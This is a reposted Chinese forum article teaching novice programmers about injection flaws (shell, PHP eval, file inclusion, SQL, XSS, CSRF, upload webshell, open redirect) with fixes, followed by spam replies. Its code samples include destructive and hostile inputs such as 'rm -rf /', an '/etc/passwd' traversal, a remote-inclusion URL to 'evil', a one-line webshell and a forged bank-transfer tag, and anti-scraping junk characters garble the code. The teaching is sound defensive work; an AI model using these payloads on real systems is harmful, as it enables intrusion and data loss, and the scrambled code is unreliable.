123下一页
返回列表 发新帖

程序员疫苗:代码注入

9,191.2k 42
DeGe 发表于 2013-6-8 15:46:15|湖北 | 查看全部 阅读模式

几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。

我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。

Shell注入

我们先来看一段perl的代码:

[size=1em]
[size=1em]1
9 R0 X- \- `* [( n& q, ?
[size=1em]2

! {) a) x* I# T, }
[size=1em]3

: S* l9 {4 M; X  z# C+ ^
[size=1em]4

- h$ C: h5 D% z2 Y" \9 @0 `  \
[size=1em]5

3 w. o8 {: V# n! g- i8 K& O2 Y* x
[size=1em]6

8 \" r/ l( Z1 {. Y
[size=1em]7
- A2 F6 \4 |5 r! F
[size=1em]8

: Q) B" E  B" {" L5 G
[size=1em]9

) I/ w* D7 t7 s6 R. L
[size=1em]10
3 _0 k: W% o5 W4 U% a  L
[size=1em]11
% ]2 E+ O/ w! @+ }
[size=1em][size=1em]use CGI qw(:standard);" O0 n$ U. t( {6 M$ y
[size=1em]$name = param('name');
4 p- a( G1 J/ O[size=1em]$nslookup = "/path/to/nslookup";
4 [$ n) Q" ]7 c1 u( M[size=1em]print header;. p0 ?# z. p/ m, e. U5 X$ n$ I
[size=1em]if (open($fh, "$nslookup $name|")) {6 o1 E; o2 R0 i9 F& r3 l6 I
[size=1em]    while (<$fh>) {
9 A9 |. T+ g/ I$ [- A( }- c- e2 [[size=1em]        print escapeHTML($_);
. u/ f, c. \7 p% f. x. O6 v[size=1em]        print "<br>\n";8 V8 h7 [1 N3 a& c# C* a  P. W: p
[size=1em]    }+ p1 b/ n3 t# ?, r7 E3 e
[size=1em]    close($fh);  I$ g( I: G$ I
[size=1em]}
) @) Z- B- c) t3 w) I& y) h7 i2 D5 \- H, \5 B
6 F  u1 h- I. {( `' e$ X. ~6 w4 ?

0 x. _/ V0 M# }4 D  K9 i3 w

如果用户输入的参数是:

[size=1em]
[size=1em]1

7 ?) H8 R5 ~& O3 x: P
[size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l) Z2 |. y) Q7 ?: ~: h- P9 h

! S. ~2 b3 X0 S& B3 U7 m

0 N$ E) ^0 i: \

  g- t9 W' P8 `( M# B( R3 W

那么,这段perl的程序就成了:

/ P% ?* U: q8 {* P* U3 R+ n7 r
[size=1em]
[size=1em]1
/ g  I7 C8 M$ A2 i; j1 E
[size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l- h3 v8 P" f, b: ^# T7 G" Q

* a4 j8 T+ k. i+ ^

3 i; F6 o3 i6 v+ _2 I& q
2 ~3 d( {8 K1 e2 B$ w

我们再来看一段PHP的程序:

[size=1em]
[size=1em]1
9 Y6 M9 y. ]( |3 ^" p1 r
[size=1em]2
1 {& t$ G, t# Z+ T" X+ r
[size=1em]3
* ]" R6 M3 V# c2 c
[size=1em][size=1em]$myvar = 'somevalue';
  x+ w, X) D7 Y* D$ A& |8 j$ @[size=1em]$x = $_GET['arg'];
9 z% \& F9 `; n+ N6 r; d' G$ y4 H[size=1em]eval('$myvar = ' . $x . ';');
! h, g7 z! G5 I% o3 ^" E1 U  a% G6 E! z
& o: O9 ~; Q& S' b& R
, `) r3 a8 o, g2 \- r) r4 I4 ]

“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)

再来看一个PHP的代码

[size=1em]
[size=1em]1

5 [8 c. \. ]  V' B" W, i
[size=1em]2

$ B" S* Y# D% N7 C  O/ @
[size=1em]3
/ E" C% W9 W$ K% |2 {
[size=1em]4
$ ~8 H+ c3 `7 K/ n$ x
[size=1em]5

% |0 R5 }; [$ V
[size=1em]6

3 {) e$ z, C' j7 N" O0 J. m% T: o
[size=1em][size=1em]$isadmin= false;; c( Z) Q& `% S7 X5 }4 V5 Q/ j
[size=1em]...6 `5 I7 d& c* j9 t. c, F- t! r( k
[size=1em]...
5 @" @3 Q' j# M& y) D[size=1em]foreach ($_GET as $key => $value) {
! v4 o' b& n. L[size=1em]  $$key = $value;
) d8 P& k1 @( ^8 n) y- ?[size=1em]}
1 @) _6 K' u6 A) n% _* u8 B  P8 y) Y# z  j) G0 S& t9 V/ i2 s8 J

: r- h2 p/ Y6 \. K& ~
+ w) U, f6 N1 ]. \

如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。

再来看一个PHP的示例:

[size=1em]
[size=1em]1

; F* ~/ ~6 }. f( p1 T5 e
[size=1em]2
) n* n  w! a1 g$ f) K
[size=1em]3
$ F. T. ~- M+ ?4 ?
[size=1em]4
$ `4 C1 ~$ }6 ^- Z( `. g8 L
[size=1em][size=1em]$action = 'login';7 N; E  }( s7 |
[size=1em]   if (__isset( $_GET['act'] ) )  N* b- F$ T7 A, H0 w
[size=1em]      $action = $_GET['act'];
6 Y& `4 S1 y8 B[size=1em]   require( $action . '.php' );+ s. m; k+ [2 @0 A4 ]5 o' [

4 _4 w# Q+ I7 P4 z
1 j5 |& n* w; d" j

0 A0 J! L9 E( s: f! L) Q

这个代码相当危险,攻击者有可能可以干这些事:

  • /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
  • /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
  • /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)1 S, f$ K# q! a/ k

这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。

PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。

SQL注入

SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。

在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

  • 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
  • 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
  • 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
  • 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。
    6 g" M1 b5 `1 i+ U; l$ Q5 [

例程:

某个网站的登录验证的SQL查询代码为

[size=1em]
[size=1em]1
4 q1 {- c; P0 z  J
[size=1em]2

6 N8 _5 D! N0 c5 j) V& w- T
[size=1em][size=1em]strSQL = "SELECT * FROM users. W# a& x. U- u0 O+ W/ S3 G  v4 A
[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
% J% c7 D  |. R2 |+ N- G
# I2 [( b5 H2 U% `7 }
' t& R" c" J. C6 \8 p% f5 `
7 u6 W, ]/ c* f( e" p  p0 t2 Y

用户在登录时恶意输入如下的的用户名和口令:

[size=1em]
[size=1em]1
* f; F5 ]* A" |/ v' _4 B
[size=1em][size=1em]userName = "' OR '1'='1";
! C" U0 Q$ H" @3 h& G# b7 N* f& O) e8 R

) x8 f  j- h4 r9 F# ]

" E1 q7 S8 j3 ?5 }" o+ ~[size=1em]
[size=1em]1

; Q6 B7 O: r2 f7 p) D
[size=1em][size=1em]passWord = "' OR '1'='1";
$ o3 f4 Z, O! ], K, r  ~! N2 O) x+ |- \
9 v7 K2 q  v8 w+ q! j
; {- {# ^4 V& F) G, v, A+ f

此时,将导致原本的SQL字符串被解析为:

[size=1em]
[size=1em]1
, E( s+ b8 o/ l+ |
[size=1em]2
* d5 N& x4 t. [0 K8 X
[size=1em][size=1em]strSQL = "SELECT * FROM users+ d  _$ U: t1 G/ b. _
[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
# |9 x- b  _8 p0 X# b  ]) F) }2 S+ T8 m
) V  ]  i, S; [5 `% g6 i
: }% m/ `" ?! F5 u+ e
( l4 F: }1 u. C1 f' z8 o% [; o

也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。

[size=1em]
[size=1em]1
4 ^2 h/ y' h( F  V" z) n4 z- u* P! y
[size=1em][size=1em]strSQL = "SELECT * FROM users;"
9 ?  t; c2 z$ h0 w& E0 T% p0 U" o$ x" W& ?7 w/ Z4 d! I0 _

3 i* P4 V6 \$ `

1 ^( ~6 y# c. U% Q

这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:

[size=1em]
[size=1em]1

3 i$ ?& }- D0 ^: E- W. }5 p
[size=1em][size=1em]username= "' ; DELETE FROM users; --";* z2 V7 c6 r7 }3 @- z$ S2 w3 j
8 C+ O6 r/ S  }; s  |

8 _1 ~/ [( O0 a; a) ]4 P' H; E" P8 \
5 @! Y& g2 R1 }+ [* r5 e! Y+ e

这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。

所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。

XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。

另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》)

[size=1em]
[size=1em]1

; v0 h1 Y4 ~5 I1 E$ b. f" j+ o
[size=1em]2
& p8 l5 K- z+ f1 p+ v+ V
[size=1em]3
: W" u4 B( x1 a1 J4 ]$ n# X
[size=1em]4

  Q* T1 P3 K$ H, s/ Q" m- Z* \0 N
[size=1em]5

5 n1 O" A+ C" Q0 E# [0 t7 b% j
[size=1em][size=1em]<table background=”javascript:alert(1)”>2 h! W/ z! Y& Z( H: w3 \3 E$ H6 U7 V
# W2 v8 t9 F! H" F' X8 R
[size=1em]<meta charset=”mac-farsi”>&#188;script&#190;alert(1)&#188;/script&#190;7 ^/ k5 P% S. U4 ?& p# A

. g" i) J9 {8 }  @[size=1em]<img src=”javascript:alert(1)”>- T! {% C+ v5 r" o, e3 B4 A- o
) u) w; M' {2 n, |

5 ?+ y" z8 Q9 D( f2 {! W( R, k
0 @: w7 f2 ~3 ~; m) X

XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的)

于是,如果我在A站点内的某个贴子内注入这么一段代码:

[size=1em]
[size=1em]1

; L. q9 W. r  P! C
[size=1em][size=1em]<img src="[color=blue !important][size=1em]http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel">
- F* \% ~/ z- u# |4 [: B- ~6 e8 v9 o" r( e4 K2 u

* B& z9 [, h) |, t

. A; T; V) T1 z- N) B0 F

很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。

如何避免

要防止XSS攻击,一般来说有下面几种手段:

  • 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
    ( d  d* ]4 C6 X& z
  • 严格过滤用户的输入。如:
    • PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
    • Python的cgi.escape()
    • ASP的Server.HTMLEncode()。
    • Node.js的node-validator。
    • Java的xssprotect。+ J% W/ C) f' E/ I1 ~
    5 P9 m: N9 g; T: E* V& c  O7 I
  • 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
    : w. }8 ~9 b% X+ ~: J" W- l
  • 限制cookie的过期时间。
    5 ], y% t0 t2 c. Q( r
  • 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库): }) M- D& Y  W2 G- D

另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。

上传文件

上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。

举个例子:

[size=1em]上传页面
[size=1em]1
: r: v1 D- }% U0 w5 }0 P
[size=1em]2
+ n3 i, c5 W* r6 k, {$ v5 Q& |; d
[size=1em]3
  d- B, y5 {+ d% [' H5 {, O
[size=1em]4
& L/ f9 c1 @' S4 w# d0 V4 \
[size=1em]5
$ g! B. U  r! y+ |6 x8 v
[size=1em]6
, r( y! |8 O# z; N
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">9 z- Z) j0 w* M: A( e. _) r
[size=1em]要上传的文件:
# f9 w2 ~' \6 h; p[size=1em]<input type="file" name="filename"/>+ X- e5 r5 R1 b: s) \7 G8 d' l
[size=1em]<br/>' \: i" u: J* x7 a
[size=1em]<input type="submit" name="submit" value="Submit"/>/ u3 s9 V: A, M$ a; o  G
[size=1em]</form>
$ ]% n. l1 Q) T# b7 c/ L- W
' ?" Y$ \/ F& x* q- V6 s$ G( A

! P4 l& A- L3 C3 y
. k0 P; }+ t' Z9 E& r) E7 q0 \2 i[size=1em]后台上传文件的PHP程序
[size=1em]1
& ]: J5 O5 U* H0 i
[size=1em]2

0 V5 d  |9 D& i) h% L
[size=1em]3

+ j& R- O* U$ [' [2 v" n
[size=1em]4

% k/ [# N4 `$ [$ Q
[size=1em]5

- F% _3 M% z" h0 g1 U" f
[size=1em]6

; U( ^; d- K2 D, m: P; G
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);2 c: ?* D1 P, D7 y! g
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
+ u8 w6 A! K; {0 b: ]2 O[size=1em]    echo "图片文件上传成功";: l' w, F0 Q; r/ u5 g1 Z5 y
[size=1em]}else{</div>" |1 C8 E! ?+ E# C/ B; W/ N% ^
[size=1em]    echo "图片文件上传失败";
' Z* L; E7 R! l, ~, A! h[size=1em]}
6 H% h" x( e0 Y: ^4 i/ ]% y% w  e1 b1 p

+ P' S6 Q+ S' u. T( D# V
: e3 ]$ R: T4 \- U8 o

假如我上传了一个PHP文件如下:

[size=1em]文件名malicious.php
[size=1em]1
) Q% ~$ `* d2 ~( V, {
[size=1em]2

3 }; J& L/ f, r! @6 Q1 a( U
[size=1em]3
4 q; K2 a# b+ p4 M
[size=1em][size=1em]<?php- N3 n6 \" i) n$ a9 F
[size=1em]system($_GET['cmd']);
/ i* J( `2 c- D' l0 |. [, r9 f3 @[size=1em]?>
5 C/ Z) {- _& V1 |/ A3 w
: K: }. B8 y4 A: H! U% g

% J* M' f* k/ u) o- l9 P9 Y4 m( @% l" U: Q! t! S

那么,我就可以通过如下的URL访问攻击你的网站了:

[size=1em]
[size=1em]1

/ v. G9 p2 y, H: ~: x3 y0 P7 _
[size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l4 `' D$ u- B5 i/ }. Q# b# m

  \& u5 y4 X+ A, j7 {, ~- }6 x7 p" q
* `: U2 B9 s& r! h2 {5 N& W% p
( m3 p7 k  ?, f# q% |. G

抵御这样的攻击有两种手段:

1)限制上传文件的文件扩展名。

2)千万不要使用root或Administrator来运行你的Web应用。

URL跳转

URL跳转很有可能会成为攻击利用的工具。

比如下面的PHP代码:

[size=1em]
[size=1em]1

& w. Z  J. x' k+ `9 Z
[size=1em]2

* L) W/ e9 ]" v' n: b5 r
[size=1em][size=1em]$redirect_url = $_GET['url'];* A8 Z" [  H$ |& K0 X. k
[size=1em]header("Location: " . $redirect_url);0 j' |* F, J' O" l9 q: a9 q1 E

' o" K) Q( f2 q# w+ Z. N

. \$ x4 j) Y( z. ]

, @1 X; j0 N: R

这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。

于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。

) O; |* `$ ]- c0 p" H1 g
[size=1em]
[size=1em]1

+ e" g  X  N2 [# [( h, D- s
[size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net
7 A  b) Y7 V8 ^1 W; U4 z! q* j. j- M& r3 q( x$ F& X* \

4 w& [$ H# ]! M- ^
' @9 X: l6 E0 e6 y2 T  W9 {4 T, ]

这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。

解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。

你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好)

回复|共 42 个

lxtzf Lv.7 发表于 2014-10-2 07:38:40|广东 | 查看全部
顶你一下,好贴要顶!/ \  Q8 z7 H( Z5 e4 C8 m5 V
0 R% l+ w6 u% K4 I( m

- Y1 @" P% y- @. j; k0 q- C. m3 |. s3 n4 O; h/ a; t! l' f7 c

/ p2 }8 i! l: c
1 y' L% {! K$ K' z: T6 R' S5 S' {
5 z  H7 o: }) F, T# Y- _+ f

- v* S! e) U2 B
: D* D6 v) W5 S% t9 f2 c: x; D% F2 M9 u

8 E* K* Z1 e1 p4 Q" I1 i
1 g$ @! e8 ?2 `# }( W0 M; v/ R4 G
                               
登录/注册后可看大图
8 p. B  [* K8 d4 t# ]' @
SAA15V7A电源适配器) V' v' A$ c5 K+ Q' E
               
. k) m7 e1 w% Y" g- |. t+ z: e2 G: \4 _3 C4 u  Y6 w
5 O' W- m- J- X. ?# B1 h
       
apgckwmm Lv.8 发表于 2014-9-29 17:23:56|Reserved | 查看全部
嘿嘿......哈哈......呵呵.....哟~呼
kbcesuo Lv.8 发表于 2014-9-29 17:44:59|印度 | 查看全部
还没崇拜过谁呢,满足一下愿望吧,谢谢!
apgckwmm Lv.8 发表于 2014-9-29 17:54:55|加拿大 | 查看全部
经过你的指点 我还是没找到在哪 ~~~
kwjvtwzx Lv.15 发表于 2014-10-15 13:54:13|美国 | 查看全部
下次有人骂我了...我给他还回去..
inhidgehila Lv.8 发表于 2014-10-15 14:09:20|美国 | 查看全部
女人啊真是那句话~~~无理占三分~~忘记怎么说了 呵呵 ~~你帮我想想
xiaoye Lv.9 发表于 2014-10-15 14:12:29|INNA | 查看全部
来电来函..欢迎洽购...
kwjvtwzx Lv.15 发表于 2014-10-15 14:21:20|亚太地区 | 查看全部
@,@..是什么意思呀?
jckie Lv.8 发表于 2014-10-15 14:45:56|Reserved | 查看全部
(⊙o⊙)…好长啊,我虽然回复不了那么多字,但十五字还是有的。
efiew Lv.15 发表于 2014-10-17 21:35:59|美国 | 查看全部
~~~~哼..哼..哼...
uhxidjjr Lv.8 发表于 2014-10-17 21:36:51|北京 | 查看全部
你这样的表现,就只配这几个字:窝囊废
xiaoye Lv.9 发表于 2014-10-17 21:43:51|欧洲和中东地区 | 查看全部
唉!猪!你怎么了?
inhidgehila Lv.8 发表于 2014-10-17 22:02:15|美国 | 查看全部
哈 你逗逗他啊
apgckwmm Lv.8 发表于 2014-10-17 22:25:15|IANA | 查看全部
还没崇拜过谁呢,满足一下愿望吧,谢谢!

回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

得知互动是一个融创意、设计、开发、营销、生活、互联网于一体的专业交流分享平台。
Copyright © 2026 得知互动-专注Ai与站长技术交流社区-Ai交流平台 版权所有 All Rights Reserved. Powered by Discuz! X5.0 鄂ICP备15006301号-5|鄂公网安备 42018502006730号
关灯 在本版发帖 扫一扫添加QQ客服 返回顶部
快速回复 返回顶部 返回列表